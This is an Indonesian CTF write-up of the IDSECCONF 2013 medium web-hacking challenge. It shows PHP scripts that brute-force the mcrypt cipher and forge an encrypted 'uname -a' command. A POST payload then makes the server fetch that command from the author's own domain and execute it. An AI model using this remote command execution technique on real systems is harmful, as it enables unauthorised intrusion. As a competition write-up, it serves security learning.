Selasa, 21 Mei 2013

CTF IDSECCONF 2013 - Medium Webhacking - Write Up

Selanjutnya Challenge Medium Webhacking :

Challenge : http://w2.ctf.2013.idsecconf.org

Setelah membuka url tersebut kita dihadapkan oleh sebuah form, nah kita coba inputkan user dan password dummy untuk login tersebut dan yang terjadi ialah muncul output "salah" dan "(waktu)".


selanjutnya hal yang biasa dilakukan ialah view source, pada saat view source, saya menemukan hal menarik, yaitu:


 <form action="" method="POST">  
       <h1>Admin Area</h1>  
       <div>  
         <input type="text" name="username" placeholder="Username" required="" id="username" />  
       </div>  
       <div>  
         <input type="password" name="password" placeholder="Password" required="" id="password" />  
       </div>  
       <input type="submit" value="Log in" />  
     </div>  
     <input type="hidden" name="token" value="c5897fbcc14ddcf30dca31b2735c3d7e">  
     <input type="hidden" name="domain" value="w2.ctf.2013.idsecconf.org">  
     <input type="hidden" name="file" value="psPokWxZxrUJE.txt">  
   </form>  

perhatikan, pada form hidden Token, Domain, dan File hal tersebut sangat mencurigakan.. LOL, muncul dipikiran bahwa input name "domain" dan "file" merupakan satu kesatuan, lau saya coba satukan menjadi "http://w2.ctf.2013.idsecconf.org/psPokWxZxrUJE.txt" ternyata benar saya mendapatkan sebuah kontent hash "QC+mf/1cJc0jMrmN8WsGjlAGhqVdvfygs33KKVy5YTU=" , lantas apa ini???

Secara umum biasanya orang-orang dunia bawah tanah (red: underground) menggunakan beberapa fungsi hash pada PHP untuk meng-enkripsi source code agar tidak terdeteksi oleh antivirus dan menggunakan eval() sebagai eksekusi source code. beberapa fungsi yang sering dipakai antara lain: base64, gzinflate, gzuncompress, str_rot13 dan beberapa lainnya.

berangkat dari hal tersebut, saya mencoba mendekripsi menggunakan sebuah website penyedia tersebut yaitu http://www.mobilefish.com/services/eval_gzinflate_base64/eval_gzinflate_base64.php . mungkin teman-teman bertanya kenapa bukan saya saja yang membuatnya sendiri? begini loch kalo ada yang gampang, ngapain juga dibuat ribet agar efektif dan efisien.

Namun tak ada hasil string yang dapat dimengerti, okay saya diam sejenak meminta petunjuk kepada Alloh SWT, akhirnya saya teringat akan hash length attack artikel yang dibuat oleh Mas Rizky Wicaksono (a.k.a Kriptonite) http://ilmuhacking.com tentang saran penggunaan mcrypt.

Berangkat dari situ saya menyadari bahwa mcrypt itu salah satu fungsi enkripsi yang menggunakan Key dan IVs dalam melakukan sebuah enkripsi. nah dari situ saya teringat akan input hidden name "token" yang berisi
c5897fbcc14ddcf30dca31b2735c3d7e Anggap saja itu sebuah key, nah tinggal IVs, metode dan mode apa yang kita gunakan. Dari hasil analisis, tidak ada petunjuk menunjukan penggunaan IVs dan Mode yang digunakan . secara umum mode yang digunakan cbc , kalau melihat referensi ini http://www.php.net/manual/en/function.mcrypt-encrypt.php

Terus apa modenya? okay caranya ialah menebak Algoritmat Encrypt dengan membuat list mode dan menebaknya satu persatu hingga sampai hasil yang di inginkan. sebenernya kita dapat mengetahui list mode apa saja yang ada di php dengan menggunakan fungsi yang sudah tersedia didalam PHP dan melakukan bruteforce terhadap hash tersebut, berikut scriptnya :

 <?php  
 error_reporting(0);  
 $algorithms = mcrypt_list_algorithms(); //"/usr/lib/libmcrypt.so.4"  
 foreach ($algorithms as $cipher) {  
   $key = "c5897fbcc14ddcf30dca31b2735c3d7e";  
   $enc = base64_decode("QC+mf/1cJc0jMrmN8WsGjlAGhqVdvfygs33KKVy5YTU=");  
   $td = mcrypt_module_open($cipher, '', 'cbc', '');  
   mcrypt_generic_init($td, $key, null);  
   $decode = mdecrypt_generic($td, $enc);  
   echo "Algoritma -> " . $cipher . " adalah " . utf8_decode($decode) . "\n";  
 }  
 ?>  

Result :

 [X-Ace@AtsukoMaeda Medium Webhacking]$ php realiable.php   
 Algoritma -> cast-128 adalah ?v???????r?!N a?Dl?I??? T??  
  %?R1??? Dg?i? ?t adalah ?QA?? X?Kr?=[?  
 Algoritma -> rijndael-128 adalah _   q???_?d??f?B?y ?@      ?g??   
 Algoritma -> twofish adalah ? ?.?x?????-?6|???n*j? <3?!p  
 Algoritma -> arcfour adalah   
 Algoritma -> cast-256 adalah '?(Z?9?t??G/_?;??X@? t?? M?  
 Algoritma -> loki97 adalah N?-??, ?T?j?Q?7LT? ?3??X,?? ?^?  
 Algoritma -> rijndael-192 adalah ??z?s?K??9????????'     ?3{DE??Lq!?m?u???? ? ?  
 Algoritma -> saferplus adalah �?e ?5?c $ ??dj? ?[?!?K?c???0  
 Algoritma -> wake adalah   
 ? `??o  ;????U?dNfish-compat adalah IHy?Lu?*   
 Algoritma -> des adalah ?I?9?ctq ?t??i~ J,<     ? ? #?]??9?  
 Algoritma -> rijndael-256 adalah date!k??8%m-4Y:%<_]9/html??Y <=== tampak menarik  
 ????_ ?&? P???X?(QE??>4?lah &o?;?   
 Algoritma -> xtea adalah ? ?05 ?9L??)?!? ?7??S??????T??  
 Algoritma -> blowfish adalah ZG?<? ???L  
 ?{?? ??^                ?zy  
 ?  L? $  
 Algoritma -> enigma adalah   
 ???oritma -> rc2 adalah ????c?:N5? ????eg? M??  
 Algoritma -> tripledes adalah ? HNtraD??Yh??A>?|L?){tc? ? ?1  
 [X-Ace@AtsukoMaeda Medium Webhacking]$   

pada algoritma encrypt rijndael-256 tampak kata "date" hm .. mencurigakan .. hasil decode masih tampak bahasa dewa? permasalah mungkin pada Default Define Variable pada PHP, okay kita buat script untuk memastikannnya:

 <?php  
 error_reporting(0);  
 $key = "c5897fbcc14ddcf30dca31b2735c3d7e";  
 $enc = base64_decode("QC+mf/1cJc0jMrmN8WsGjlAGhqVdvfygs33KKVy5YTU=");  
 $decode = mcrypt_cbc(MCRYPT_RIJNDAEL_256, $key, $enc, MCRYPT_DECRYPT) . "\n";  
 echo $decode . "\n";  
 ?>  

Result (Viola):

 [X-Ace@AtsukoMaeda Medium Webhacking]$ php poc.php   
 date +%d-%m-%Y:%H:%M  
 [X-Ace@AtsukoMaeda Medium Webhacking]$   

ternyata sudah ditemukan bagaimana metode enkripsinya, nah sekarang bagaimana menemukan flagnya? segala metode sudah dicoba, sampai akhirnya CTF tutup dan 2 hari kemudian baru menyadari dari kisi-kisi yang diberikan di Twitter (selama buka twitter malah kultwit sendiri, jadi ketinggalan info, hahahaha LOL) . berikut link kisi-kisinya
 https://twitter.com/dedidwianto/status/335750275908370433

digambar tersebut tampak jelas, bahwa website melakukan koneksi request menggunakan curl ke domain dan file yang dituju, pada file yang dituju berisi perintah "uname -a" yang telah terenkripsi, lantas terpikir bahwa input hidden tersebut harus diubah valuenya. Pada input name domain menjadi domain kita dan pada input file adalah nama file kita.

okay pertama kita enkripsi string "uname -a" menjadi enkripsi yang digunakan, berikut source coudenya:

 <?php  
 error_reporting(0);  
 $key = "c5897fbcc14ddcf30dca31b2735c3d7e";  
 $text = "uname -a";  
 $enc = mcrypt_cbc(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_ENCRYPT);  
 echo base64_encode($enc) . "\n";  
 ?>  

Result :

 [X-Ace@AtsukoMaeda Medium Webhacking]$ php enc.php  
 zmzo7kg0WyS7BWRMyUslH8wEXNoCsIJNvT1Wv2LlKJ0=  
 [X-Ace@AtsukoMaeda Medium Webhacking]$   

simpan hash tersebut kedalam file text dengan nama apa saja, saya membuat dengan nama "key.txt". selanjutnya upload ke webhosting pada root direktori , selanjutnya coba request. berikut contoh url yang saya gunakan http://diansaltraperdana.com/key.txt 

nah sekarang kita coba kirimkan method post ke challenge CTF url.saya menggunakan Addons Firefox Hackbar dalam melakukannya.set POST data

 username=dummy&password=dummy&token=c5897fbcc14ddcf30dca31b2735c3d7e&domain=diansaltraperdana.com&file=key.txt  
 dan DOMAIN ke http://w2.ctf.2013.idsecconf.org/

Okay setelah eksekusi output yang muncul (pengganti (waktu)):

 Linux LittleGarden 2.6.18-308.el5.028stab099.3 #1 SMP Wed Mar 7 15:56:00 MSK 2012 i686 i686 i386 GNU/Linux   

Nah berhubung sudah CTF sudah tutup, saya tidak bisa memastikan key ini benar atau tidak. jadi saya memastikan dengan melakukan wawancara dengan orang yang sudah resolve challenge ini yaitu si matdhule a.k.a uhuy.

berikut screenshotnya:


Ya dari screenshot tersebut sudah bisa dipastikan Keynya ialah hasil "uname -a" tersebut. sampe ketemu diartikel selanjutnya.